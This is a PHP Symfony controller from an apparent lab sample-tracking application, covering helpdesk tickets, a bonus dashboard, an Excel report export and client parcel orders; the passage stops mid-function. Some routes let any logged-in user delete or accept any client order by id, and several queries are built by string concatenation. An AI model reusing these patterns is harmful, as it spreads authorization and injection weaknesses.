<?php
namespace App\Controller;
use App\Entity\AuBatch;
use App\Entity\CatRequest;
use App\Entity\ClientParcel;
use App\Entity\DISQBatch;
use App\Entity\ElSample;
use App\Entity\Exports;
use App\Entity\FABatch;
use App\Entity\FeedEntry;
use App\Entity\FInventory;
use App\Entity\Helpdesk;
use App\Entity\ICPBatch;
use App\Entity\ICPRun;
use App\Entity\Inventory;
use App\Entity\Invoice;
use App\Entity\Log;
use App\Entity\Moists;
use App\Entity\MonthlyBonus;
use App\Entity\Orders;
use App\Entity\Params;
use App\Entity\PRun;
use App\Entity\RRun;
use App\Entity\Stock;
use App\Entity\StockManagement;
use App\Entity\User;
use App\Service\AuBatchManager;
use Doctrine\ORM\EntityManagerInterface;
use Doctrine\ORM\QueryBuilder;
use Doctrine\ORM\Query;
use Doctrine\ORM\Tools\Pagination\Paginator;
use http\Client;
use phpDocumentor\Reflection\Types\Null_;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\Serializer\Encoder\JsonEncoder;
use Symfony\Component\Serializer\Encoder\XmlEncoder;
use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
use Symfony\Component\Serializer\Serializer;
use Symfony\Component\HttpFoundation\ResponseHeaderBag;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
use PhpOffice\PhpSpreadsheet\Writer\Xls;
use PhpOffice\PhpSpreadsheet\Style\Fill;
use PhpOffice\PhpSpreadsheet\Style\Border;
use PhpOffice\PhpSpreadsheet\Style\Alignment;
use Symfony\Component\HttpFoundation\StreamedResponse;
class DefaultController extends AbstractController
{
/**
* @var EntityManager
*/
protected $em;
protected $translator;
protected $passwordEncoder;
public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
{
$this->em = $entityManager;
$this->passwordEncoder = $passwordEncoder;
}
private function ensureCurrentMonthExists()
{
$currentDate = new \DateTime();
$currentMonth = (int)$currentDate->format('n');
$currentYear = $currentDate->format('Y');
// Check if current month exists
$existingBonus = $this->getDoctrine()
->getRepository(MonthlyBonus::class)
->findOneBy([
'MonthNo' => $currentMonth,
'year' => $currentYear
]);
if (!$existingBonus) {
// Get the most recent bonus record
$lastBonus = $this->getDoctrine()
->getRepository(MonthlyBonus::class)
->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
if (!$lastBonus) {
// No records exist, create current month with default target
$newBonus = new MonthlyBonus();
$newBonus->setMonthNo($currentMonth);
$newBonus->setMonthName($currentDate->format('F'));
$newBonus->setYear($currentYear);
$newBonus->setSampleNumber(200);
$newBonus->setActive(true);
$this->em->persist($newBonus);
$this->em->flush();
return;
}
// Get the target from last bonus
$sampleTarget = $lastBonus->getSampleNumber();
// Create all missing months from last existing month to current month
$startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
$startDate->modify('+1 month'); // Start from next month after last existing
while ($startDate <= $currentDate) {
$monthNo = (int)$startDate->format('n');
$year = $startDate->format('Y');
// Check if this month already exists
$exists = $this->getDoctrine()
->getRepository(MonthlyBonus::class)
->findOneBy([
'MonthNo' => $monthNo,
'year' => $year
]);
if (!$exists) {
$newBonus = new MonthlyBonus();
$newBonus->setMonthNo($monthNo);
$newBonus->setMonthName($startDate->format('F'));
$newBonus->setYear($year);
$newBonus->setSampleNumber($sampleTarget);
$newBonus->setActive(false); // Set all to inactive first
$this->em->persist($newBonus);
}
$startDate->modify('+1 month');
}
$this->em->flush();
// Now deactivate ALL months and activate only the current month
$allBonuses = $this->getDoctrine()
->getRepository(MonthlyBonus::class)
->findAll();
foreach ($allBonuses as $bonus) {
if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
$bonus->setActive(true);
} else {
$bonus->setActive(false);
}
}
$this->em->flush();
}
}
/**
* @IsGranted("ROLE_USER")
* @Route("/recent", name="recent")
*/
public function recent()
{
return $this->render('cats/recent.html.twig');
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/helpdesk", name="helpdesk")
*/
public function helpdesk()
{
$tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
}
/**
* @IsGranted("ROLE_USER")
* @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
*/
public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
{
$data = json_decode($request->getContent(), true);
$ticket = (new Helpdesk())
->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
->setTitle($data['title'])
->setIssue($data['issue'])
->setType($data['type'])
->setStatus('Open')
->setPriority('Low')
->setDateAdded(new \DateTime())
->setDateModified(new \DateTime());
$entityManager->persist($ticket);
$entityManager->flush();
return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
}
/**
* @IsGranted("ROLE_USER")
* @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
*/
public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
{
// Check if ticket exists
if (!$ticket) {
return new JsonResponse(['error' => 'Ticket not found'], 404);
}
$entityManager->remove($ticket);
$entityManager->flush();
return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
}
// Fetch the ticket data by ID
/**
* @IsGranted("ROLE_USER")
* @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
*/
public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
{
if (!$ticket) {
return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
}
// Return ticket data as JSON response
return new JsonResponse([
'data' => [
'id' => $ticket->getId(),
'user' => $ticket->getUser(),
'title' => $ticket->getTitle(),
'issue' => $ticket->getIssue(),
'type' => $ticket->getType(),
'status' => $ticket->getStatus(),
'priority' => $ticket->getPriority(),
'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
]
]);
}
// Update ticket information
/**
* @IsGranted("ROLE_USER")
* @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
*/
public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
{
if (!$ticket) {
return new JsonResponse(['error' => 'Ticket not found'], 404);
}
$data = json_decode($request->getContent(), true);
// Update ticket fields
$ticket->setUser($data['user'])
->setTitle($data['title'])
->setIssue($data['issue'])
->setType($data['type'])
->setStatus($data['status'])
->setPriority($data['priority'])
->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
->setDateModified(new \DateTime());
if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
$ticket->setDateFinished(new \DateTime());
}
$entityManager->flush();
return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/", name="dashboard")
* @param Request $request
* @return Response $response
*/
public function index(Request $request)
{
if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
// $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
$this->ensureCurrentMonthExists();
$month = $request->get("month") ?? null;
$year = $request->get("year") ?? null;
if ($month !=null && $year !=null){
$bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
'year' => "$year",
"MonthNo" => "$month"
]);
} else {
$bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
"active" => "1"
],[
'id' => 'DESC'
]);
}
// $qb instanceof QueryBuilder
$qb = $this->em->createQueryBuilder();
$qb->select('count(t.id)');
$qb->from(Inventory::class, 't');
$qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
// $qb->where('t.dateFinished > 2020-09-18');
$qb->setMaxResults('1');
$milled = $qb->getQuery()->getSingleScalarResult();
// $qb instanceof QueryBuilder
$qb = $this->em->createQueryBuilder();
$qb->select('count(t.id)');
$qb->from(Inventory::class, 't');
$qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
// $qb->where('t.dateFinished > 2020-09-18');
$qb->setMaxResults('1');
$result = $qb->getQuery()->getSingleScalarResult();
// $qb instanceof QueryBuilder
$qb = $this->em->createQueryBuilder();
$qb->select('count(t.id)');
$qb->from(Moists::class, 't');
$qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
// $qb->where('t.dateFinished > 2020-09-18');
$qb->setMaxResults('1');
$moists = $qb->getQuery()->getSingleScalarResult();
$qb1 = $this->em->createQueryBuilder();
$qb1->select('t');
$qb1->from(FABatch::class, 't');
$qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
$anotherresult = $qb1->getQuery()->getResult();
$loginfo= [];
$loginfo2= [];
$batchesdaily = [];
$batchesdaily2 = [];
$anotherresult2 = 0;
$anotherresult4 = 0;
$tasks= [];
foreach ($anotherresult as $x){
array_push($loginfo, $x->getDateFinished()->format('j'));
$sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
$stmt = $this->em->getConnection()->prepare($sql);
$anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
$batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
}
$qb3 = $this->em->createQueryBuilder();
$qb3->select('t');
$qb3->from(ICPBatch::class, 't');
$qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
$anotherresult3 = $qb3->getQuery()->getResult();
foreach ($anotherresult3 as $x){
array_push($loginfo2, $x->getDate()->format('j'));
$sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
$stmt = $this->em->getConnection()->prepare($sql);
$anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
$batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
}
// $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
// $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
$tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
$tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
$tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
$tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
$tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
// $tasks['WeighQ']=0;
// $tasks['FAQ']=0;
// $tasks['CUPQ']=0;
// $tasks['DISQ']=0;
// $tasks['Confirm']=0;
// $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
// foreach ($fortasks2 as $x){
// /* @var RRun $x */
// $status = str_replace([' ', '?'], '', $x->getStatus());
//
// if (in_array($status, $names)){
// $tasks[$status] = $tasks[$status] + 1;
// }
// }
//
// foreach ($fortasks as $x){
// /* @var PRun $x */
// $status = str_replace([' ', '?'], '', $x->getStatus());
//
// if (in_array($status, $names)){
// $tasks[$status] = $tasks[$status] + 1;
// }
// }
$loginfo = array_unique($loginfo);
$loginfo2 = array_unique($loginfo2);
//dump($batchesdaily);
//dump($anotherresult);
//dump($anotherresult2);
$batchesdaily3 = [];
$batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
$batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
$batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
}
foreach ($batchesdaily3 as $key => $x){
if ($x[0] == 0 and $x[1] == 0){
unset($batchesdaily3[$key]);
}
}
return $this->render('cats/dashboard.html.twig', [
// 'messages' => $messages,
'bonuses' => $bonuses,
'data' => $result,
'data23' => $anotherresult,
'loginfo' => $loginfo,
'batchesdaily' => $batchesdaily,
'test2' => $anotherresult2,
'icp' => $anotherresult3,
'icp2' => $batchesdaily2,
'tasks' => $tasks,
'shaggin' => $batchesdaily3,
'milled' => $milled,
'moists' => $moists
]);
} else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
$user = $this->getUser();
$country = $user->getCountry();
//$parcels = $user->getClientParcels();
$parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
'client' => $user
],[
'dateadded' => 'DESC'
]);
return $this->render('cats/clientdashboard.html.twig', [
'parcels' => $parcels
]);
} else {
$user = $this->getUser();
$country = $user->getCountry();
//$parcels = $user->getClientParcels();
$parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
'client' => $user
],[
'dateadded' => 'DESC'
]);
return $this->render('cats/dashboard.html.twig', [
'parcels' => $parcels
]);
}
}
/**
* @Security("is_granted('ROLE_SUPER')")
* @Route("/dashboard/export", name="dashboard_export")
*/
public function dashboardExport(Request $request): Response
{
$month = (int)($request->get("month") ?? date('n'));
$year = (int)($request->get("year") ?? date('Y'));
// Add date range support
$dateFrom = $request->get("date_from");
$dateTo = $request->get("date_to");
if ($dateFrom && $dateTo) {
$startDate = $dateFrom . " 00:00:00";
$endDate = $dateTo . " 23:59:59";
$fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
$reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
} else {
$startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
$endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
$fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
$reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
}
// Main data query
$sql = "
SELECT
i.id AS `ID`,
DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
i.sample_type AS `Type`,
i.sample_sub_type AS `Subtype`,
i.sample_name AS `Sample Reference`,
i.country AS `Country`,
i.exportno AS `Export #`,
o.orderno AS `Assigned Order`,
i.xrfpt AS `XRF PT`,
i.xrfpd AS `XRF PD`,
i.xrfrh AS `XRF RH`,
i.icppt AS `ICP PT`,
i.icppd AS `ICP PD`,
i.icprh AS `ICP RH`,
i.analysis_status AS `Analysis Status`,
COUNT(DISTINCT r.id) AS `Run Count`,
GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
FROM
inventory i
LEFT JOIN
rrun r ON r.assigned_sample_id = i.id
LEFT JOIN
orders o ON i.assigned_order_id = o.id
WHERE
i.analysis_status = 'Completed'
AND i.date_finished BETWEEN ? AND ?
GROUP BY i.id
ORDER BY i.date_finished DESC
";
$results = $this->em->getConnection()->executeQuery($sql, [
$startDate, $endDate
])->fetchAllAssociative();
// Summary by Sample Type
$summarySQLWithRuns = "
SELECT
i.sample_type,
COUNT(DISTINCT i.id) as total_samples,
COUNT(DISTINCT r.id) as total_runs
FROM
inventory i
LEFT JOIN
rrun r ON r.assigned_sample_id = i.id
WHERE
i.analysis_status = 'Completed'
AND i.date_finished BETWEEN ? AND ?
GROUP BY i.sample_type
ORDER BY i.sample_type
";
$summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
$startDate, $endDate
])->fetchAllAssociative();
// Create Spreadsheet
$spreadsheet = new Spreadsheet();
// Sheet 1: Main Data
$sheet1 = $spreadsheet->getActiveSheet();
$sheet1->setTitle('Sample Data');
if (!empty($results)) {
// Headers
$headers = array_keys($results[0]);
$sheet1->fromArray($headers, null, 'A1');
// Style headers
$headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
$headerStyle->getFont()->setBold(true);
$headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
$headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
$headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
// Data
$sheet1->fromArray($results, null, 'A2', true);
// Center all data cells
$lastRow = count($results) + 1;
$lastColumn = $sheet1->getHighestColumn();
$sheet1->getStyle('A2:' . $lastColumn . $lastRow)
->getAlignment()
->setHorizontal(Alignment::HORIZONTAL_CENTER);
// Auto-size columns
foreach (range('A', $sheet1->getHighestColumn()) as $col) {
$sheet1->getColumnDimension($col)->setAutoSize(true);
}
}
// Sheet 2: Summary
$sheet2 = $spreadsheet->createSheet();
$sheet2->setTitle('Summary');
$row = 1;
// Build summary table
$sheet2->setCellValue('A' . $row, $reportTitle);
$sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
$row += 2;
// Headers
$sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
$headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
$headerStyle->getFont()->setBold(true);
$headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
$headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
$row++;
// Data rows
$totalSamples = 0;
$totalRuns = 0;
foreach ($summaryResults as $result) {
$sheet2->fromArray([
$result['sample_type'],
$result['total_samples'],
$result['total_runs']
], null, 'A' . $row);
$totalSamples += (int)$result['total_samples'];
$totalRuns += (int)$result['total_runs'];
$row++;
}
$row++;
// Totals
$sheet2->fromArray([
'TOTALS',
$totalSamples,
$totalRuns
], null, 'A' . $row);
$sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
$sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
// Auto-size columns
foreach (range('A', 'C') as $col) {
$sheet2->getColumnDimension($col)->setAutoSize(true);
}
// Generate Excel file
$writer = new Xlsx($spreadsheet);
$temp_file = tempnam(sys_get_temp_dir(), $fileName);
$writer->save($temp_file);
$response = new Response(file_get_contents($temp_file));
$response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
$response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
unlink($temp_file);
return $response;
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/eucats", name="eucats")
*/
public function eucats()
{
$user = $this->getUser();
$country = $user->getCountry();
// $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
// 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
// 'sampleType' => ["Model","Models"]
// ],[
// 'id' => 'DESC'
// ]);
return $this->render('cats/eucats.html.twig', [
'samples' => '$samples',
]);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/eucatreqs", name="eucatreqs")
*/
public function eucatreqs()
{
$user = $this->getUser();
$country = $user->getCountry();
//dump($country);
$reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
],[
'id' => "DESC"
]);
//dump($reqs);
return $this->render('cats/eucatreqs.html.twig', [
'reqs' => $reqs
]);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/models", name="models")
*/
public function models()
{
$usercountry = $this->getUser()->getCountry();
$newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
// $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
// 'country' => $usercountry,
// 'sampleType' => ["Model","Models"]
// ],[
// 'id' => 'DESC'
// ]);
return $this->render('cats/client.html.twig', [
'searchlists' => $newvar,
]);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/client", name="client")
*/
public function client()
{
// $usercountry = $this->getUser()->getCountry();
// $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
// 'country' => $usercountry
// ],[
// 'id' => 'DESC'
// ]);
// $samples2=[];
// if (in_array("WC",$usercountry)){
// $samples2 = $this->em
// ->createQuery(
// "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
// )
// ->getResult();
// }
// //dump($samples2);
// $samples = array_merge($samples,$samples2);
// return $this->render('cats/client.html.twig', [
// 'samples' => $samples,
// ]);
$usercountry = $this->getUser()->getCountry();
$newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
return $this->render('cats/client.html.twig', [
'searchlists' => $newvar,
]);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/deleteclientorder/{id}", name="deleteclientorder")
* @param int $id
* @param Request $request
* @return Response $response
*/
public function deleteclientorder(int $id, Request $request)
{
$order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
'id' => $id
]);
//dump($order);
$this->em->remove($order);
$this->em->flush();
return new Response ("ayylmao");
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/acceptclientorder/{id}", name="acceptclientorder")
* @param int $id
* @param Request $request
* @return Response $response
*/
public function acceptclientorder(int $id, Request $request)
{
/** @var ClientParcel $clientparcel */
$clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
'id' => $id
]);
if ($clientparcel->getAccepted() == false){
$clientparcel->setAccepted(true);
$this->em->persist($clientparcel);
/** @var Orders $neworder */
$neworder = new Orders();
$neworder->setSender($clientparcel->getSender());
$neworder->setCourrier($clientparcel->getCourrier());
$neworder->setWaybill($clientparcel->getWaybill());
$neworder->setDateOfReceipt(new \DateTime());
$neworder->setStatus("Open");
$neworder->setOrderno("TO NAME");
$this->em->persist($neworder);
foreach($clientparcel->getDataarray() as $j){
$newsample = new Inventory();
$newsample->setAssignedOrder($neworder);
$newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
$newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
$newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
$newsample->setSampleType($j["type"]);
$newsample->setSampleName($j["reference"]);
$newsample->setCountry($j["country"]);
$newsample->setExportno($j["export"]);
$newsample->setDateofreceipt(new \DateTime());
$newsample->setMass((float)str_replace(",",".",$j['mass']));
$newsample->setAddedtocatalogue(false);
$newsample->setPriority('Normal');
$newsample->setMillStatus("Original");
$newsample->setXrfStatus("To Add");
$newsample->setAnalysisStatus("None");
$newsample->setReady(false);
$this->em->persist($newsample);
}
}
$this->em->flush();
return new Response ("ayylmao");
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/clientaddorder", name="clientaddorder")
*/
public function clientaddorder(Request $request)
{
if ( $request->isMethod("post") ) {
$user = $this->getUser();
$info = $request->get('info');
$newparcel = new ClientParcel();
$newparcel->setClient($user);
$newparcel->setCourrier($info["courrier"]);
$newparcel->setWaybill($info["waybill"]);
$newparcel->setSender($info["sender"]);
$newparcel->setComment($info["comment"]);
$info = $info["info"];
//$newparcel->setData($info);
$newparcel->setDataarray($info);
$newparcel->setDateadded(new \DateTime());
$newparcel->setAccepted(false);
$this->em->persist($newparcel);
$this->em->flush();
return new Response("/");
}
$usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
$samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
'country' => $usercountry
],[
'id' => 'DESC'
]);
$samples2=[];
if (in_array("WC",$usercountry)){
$samples2 = $this->em
->createQuery(
"SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
)
->getResult();
}
//dump($samples2);
$samples = array_merge($samples,$samples2);
return $this->render('cats/addclientorder.html.twig', [
'samples' => $samples,
]);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_USER")
* @Route("/stats/{id}", name="stats")
* @param int $id
* @param Request $request
* @return Response $response
*/
public function stats(int $id, Request $request)
{
$usercountry = $this->getUser()->getCountry();
$messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
$bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
'id' => $id
]);
// $qb instanceof QueryBuilder
$qb = $this->em->createQueryBuilder();
$qb->select('count(t.id)');
$qb->from(Inventory::class, 't');
$qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
// $qb->where('t.dateFinished > 2020-09-18');
$qb->setMaxResults('1');
$result = $qb->getQuery()->getSingleScalarResult();
//dump($result);
$qb1 = $this->em->createQueryBuilder();
$qb1->select('t');
$qb1->from(FABatch::class, 't');
$qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
$anotherresult = $qb1->getQuery()->getResult();
$anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
$loginfo= [];
$loginfo2= [];
$tasks= [];
$batchesdaily = [];
$batchesdaily2 = [];
$anotherresult2 = 0;
$anotherresult4 = 0;
foreach ($anotherresult as $x){
array_push($loginfo, $x->getDateFinished()->format('j'));
$sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
$stmt = $this->em->getConnection()->prepare($sql);
$anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
$batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
//dump($anotherresult2);
}
$qb3 = $this->em->createQueryBuilder();
$qb3->select('t');
$qb3->from(ICPBatch::class, 't');
$qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
$anotherresult3 = $qb3->getQuery()->getResult();
$anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
foreach ($anotherresult3 as $x){
array_push($loginfo2, $x->getDate()->format('j'));
$sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
$stmt = $this->em->getConnection()->prepare($sql);
$anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
$batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
//dump($anotherresult2);
}
return $this->render('cats/stats.html.twig', [
'messages' => $messages,
'bonuses' => $bonuses,
'data' => $result,
'data23' => $anotherresult,
'loginfo' => $loginfo,
'batchesdaily' => $batchesdaily,
'test2' => $anotherresult2,
'icp' => $anotherresult3,
'icp2' => $batchesdaily2,
'tasks' => $tasks
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/mill", name="mill")
* @return Response $response
*/
public function mill(Request $request)
{
$loginfo= [];
if ( $request->isMethod("post") ) {
if (null !== $request->get('markmilled')){
$info = $request->get('ids');
if(!empty($info)){
foreach($info as $j) {
